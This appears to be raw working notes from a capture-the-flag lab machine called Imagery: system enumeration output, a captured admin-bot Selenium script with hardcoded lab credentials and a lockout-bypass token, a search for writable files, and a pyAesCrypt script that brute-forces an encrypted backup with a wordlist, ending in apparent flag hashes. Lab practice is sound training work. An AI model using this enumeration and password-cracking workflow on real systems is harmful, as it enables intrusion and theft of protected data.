PRETTY_NAME="Ubuntu 24.10"
NAME="Ubuntu"
VERSION_ID="24.10"
VERSION="24.10 (Oracular Oriole)"
VERSION_CODENAME=oracular
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=oracular
LOGO=ubuntu-logo

Linux Imagery 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

uid=1001(web) gid=1001(web) groups=1001(web)

Sorry, user web may not run sudo on Imagery.    

web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash    

web:x:1001:
mark:x:1002:   

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:b4:3c brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.41.106/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2554sec preferred_lft 2554sec
    inet6 dead:beef::250:56ff:feb0:b43c/64 scope global dynamic mngtmpaddr proto kernel_ra 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb0:b43c/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever   

crontab -l

* * * * * python3 /home/web/web/bot/admin.py

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import tempfile, shutil, time, traceback, uuid, os, glob

# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------

# Clean up old profiles
for folder in glob.glob("/tmp/chrome-profile-*"):
    try:
        shutil.rmtree(folder, ignore_errors=True)
    except Exception:
        pass

# Check /tmp space
total, used, free = shutil.disk_usage("/tmp")
if free < 50 * 1024 * 1024:
    print(f"[!] WARNING: /tmp is low on space! Only {free / 1024 / 1024:.2f} MB free.")

# Create new profile
user_data_dir = f"/tmp/chrome-profile-{uuid.uuid4()}"
os.makedirs(user_data_dir, exist_ok=True)

# Configure Chrome
options = Options()
options.binary_location = CHROME_BINARY
options.add_argument("--headless=new")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument(f"--user-data-dir={user_data_dir}")
options.set_capability("goog:loggingPrefs", {"browser": "ALL"})

driver = None
try:
    driver = webdriver.Chrome(options=options)
    print("[*] Browser started.")
    driver.get(APP_URL)

    WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.ID, "navbar-links"))
    )
    print("[*] Navigation bar loaded.")

    login_nav_button = WebDriverWait(driver, 10).until(
        EC.element_to_be_clickable((By.ID, "nav-login"))
    )
    login_nav_button.click()
    print("[*] Clicked 'Login' navigation button.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "loginPage"))
    )
    print("[*] Login page content is now visible.")

    # Wait for input fields
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginEmail")))
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginPassword")))

    driver.find_element(By.ID, "loginEmail").send_keys(USERNAME)
    driver.find_element(By.ID, "loginPassword").send_keys(PASSWORD)
    print("[*] Credentials filled.")

    # Inject bypass script
    driver.execute_script(f"""
        const form = document.getElementById('loginForm');
        if (form && !form.dataset.injected) {{
            form.dataset.injected = 'true';
            console.log('[*] Bypass script injected');
            form.addEventListener('submit', async function(event) {{
                event.preventDefault();
                const username = document.getElementById('loginEmail').value;
                const password = document.getElementById('loginPassword').value;
                try {{
                    const res = await fetch('/login', {{
                        method: 'POST',
                        headers: {{
                            'Content-Type': 'application/json',
                            'X-Bypass-Lockout': '{BYPASS_TOKEN}'
                        }},
                        body: JSON.stringify({{ username, password }})
                    }});
                    const data = await res.json();
                    if (data.success) {{
                        console.log('[+] Login successful!');
                        window.location.reload(); 
                    }} else {{
                        console.error('[-] Login failed:', data.message);
                        if (window.showMessage)
                            window.showMessage(data.message, 'error');
                    }}
                }} catch (e) {{
                    console.error('[!] Fetch error:', e);
                    if (window.showMessage)
                        window.showMessage('Unexpected error during login.', 'error');
                }}
            }});
        }} else {{
            console.warn('[!] Login form not found or already injected.');
        }}
    """)
    print("[*] Login form bypass injected.")

    # Trigger form submit
    driver.execute_script("document.getElementById('loginForm').dispatchEvent(new Event('submit'))")
    print("[*] Form submit triggered manually.")
    time.sleep(3)

    # Print browser console logs
   #browser_logs = driver.get_log("browser")
    #for entry in browser_logs:
      #  msg = entry['message']
       # print(f"[browser log] {msg}")
        #if '[!]' in msg or 'error' in msg.lower():
         #   print("[!] JS error detected:", msg)

    # Wait for admin panel
    WebDriverWait(driver, 20).until(
        EC.visibility_of_element_located((By.ID, "nav-admin-panel"))
    )
    print("[+] Admin panel navigation link appeared, login likely successful.")

    driver.find_element(By.ID, "nav-admin-panel").click()
    print("[*] Navigated to Admin Panel page.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "admin-content-wrapper"))
    )
    WebDriverWait(driver, 10).until(
        lambda d: d.find_element(By.ID, "admin-content-wrapper").get_attribute("style") == "" or
                  "display: none" not in d.find_element(By.ID, "admin-content-wrapper").get_attribute("style")
    )
    print("[+] Admin Panel content wrapper is visible, page loaded correctly.")

    auth_status = driver.execute_async_script("""
        const done = arguments[0];
        fetch('/auth_status')
            .then(res => res.json())
            .then(data => done(data))
            .catch(err => done({ error: String(err) }));
    """)

    print("[*] Auth Status:", auth_status)
    if auth_status.get("isAdmin"):
        print("[+] Admin status confirmed via /auth_status endpoint.")
    else:
        print("[-] User is not admin after login.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "user-list"))
    )
    print("[*] User list section found in Admin Panel.")

    try:
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.ID, "bug-reports-list"))
        )
        print("[*] Bug reports list section found in Admin Panel.")
    except:
        print("[*] No bug reports list found — maybe no entries yet.")

    print("[*] Script finished successfully.")

except Exception as e:
    print("[!] Exception during login and admin panel test:", e)
    traceback.print_exc()
    try:
        driver.save_screenshot("/tmp/selenium_failure.png")
        print("[*] Screenshot saved to /tmp/selenium_failure.png")
    except:
        pass
finally:
    if driver:
        print("[*] Quitting browser.")
        driver.quit()
    if os.path.exists(user_data_dir):
        print(f"[*] Cleaning up user data directory: {user_data_dir}")
        shutil.rmtree(user_data_dir, ignore_errors=True)

find / -type f -writable -exec ls -l {} \; 2>/dev/null | grep -vE '/proc|/sys|/home/web'

-rwxr-xr-x 1 web web 8059480 Jun 18 13:16 /usr/bin/python3.12    

ls -la /var/backup

-rw-rw-r--  1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes

import pyAesCrypt
import os

# --- Configuration ---
encrypted_file_path = 'web_20250806_120723.zip.aes'
decrypted_file_path = 'decrypted_file.zip'
wordlist_path = 'rockyou.txt'
bufferSize = 64 * 1024  # 64KB buffer size

# --- Decryption logic ---
def decrypt_with_wordlist(encrypted_file, decrypted_file, wordlist):
    """
    Attempts to decrypt a file using passwords from a wordlist.
    """
    if not os.path.exists(encrypted_file):
        print(f"Error: Encrypted file '{encrypted_file}' not found.")
        return

    with open(wordlist, 'r', encoding='utf-8', errors='ignore') as wl:
        for line in wl:
            password = line.strip()
            if not password:
                continue

            print(f"[*] Trying password: {password}")
            try:
                # pyAesCrypt.decryptFile decrypts the file.
                # It will raise a ValueError if the password is wrong.
                pyAesCrypt.decryptFile(encrypted_file, decrypted_file, password, bufferSize)
                print(f"\n[+] SUCCESS: Password found -> {password}")
                return True
            except ValueError:
                # This exception is expected for incorrect passwords.
                continue
            except Exception as e:
                # Handle other potential errors, but a ValueError is expected.
                print(f"[!] An error occurred with password '{password}': {e}")

    print("\n[-] FAILURE: Password not found in the wordlist.")
    return False

# --- Main execution ---
if __name__ == "__main__":
    # Clean up any previous failed decryption attempts
    if os.path.exists(decrypted_file_path):
        os.remove(decrypted_file_path)

    if decrypt_with_wordlist(encrypted_file_path, decrypted_file_path, wordlist_path):
        print("Decryption successful. File saved as 'decrypted_file.zip'.")
    else:
        print("Decryption failed. The file could not be decrypted with the provided wordlist.")

de070433bae173dd58268e81be133ba6    

350291a8b2e2c6f7729e21e5e6224bfb